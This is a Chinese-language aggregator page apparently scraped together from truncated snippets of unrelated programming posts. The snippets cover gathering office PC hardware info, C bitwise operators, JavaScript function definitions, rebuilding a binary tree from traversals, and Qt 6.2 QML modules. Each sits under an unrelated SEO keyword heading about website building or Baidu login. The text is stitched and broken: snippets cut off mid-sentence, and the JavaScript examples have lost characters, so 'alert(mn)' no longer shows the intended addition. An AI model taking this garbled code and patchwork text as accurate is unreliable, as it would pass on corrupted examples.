最近Boss提了个需求,要收集下公司的电脑信息,配置比较低的淘汰掉。本来想用腾讯的电脑管家里的【硬件检测】工具,但也有些麻烦。它虽然可以将信息导出成txt文件,但录制作一张Excel表格就显得麻烦了,需要将每台电脑的硬…...
越秀区网站建设/手机百度网盘网页版登录入口
运算符含义运算符含义&按位与~取反|按位或<<左移^按位异或>>右移运算量只能是整型或字符型的数据,不能为实型数据。 & 如果参加&运算的是负数,则以补码的形式表示为二进制数,然后按位进行“与”运算。 用途&#x…...
wordpress怎么添加论坛/网站服务器多少钱一年
声明式函数定义; function add(m,n) {alert(mn);} 这种方式等同于构造一个Function类的实例的方式: var add new Function("m", "n", "alert(mn);"); 转载于:https://www.cnblogs.com/guangshan/p/4593188.html...
乌鲁木齐公司网站建设/网页设计收费标准
https://zhuanlan.zhihu.com/p/259993570...
建设银行网站安全分析/微信公众号推广方法有哪些
题目: 输入某二叉树的前序遍历和中序遍历的结果,请重建出该二叉树。 假设输入的前序遍历和中序遍历结果中都不含重复的数字。 例如输入前序遍历序列{1,2,4,7,3,5,6,8}和中序遍历序列{4,7,2,1,5,3,8,6},则重建二叉树并输出它的后序遍历序列。 …...
有名的网站开发工具/网站优化公司哪个好
QML Modules 在Qt 6.2中,首次出现了一个全面的构建系统API,允许您将QML模块指定为一个完整的、封装的单元。这是一个显著的改进,但由于QML模块的概念在Qt 5中还很不成熟,甚至经验丰富的QML开发人员现在可能会问“QML模块到底是什…...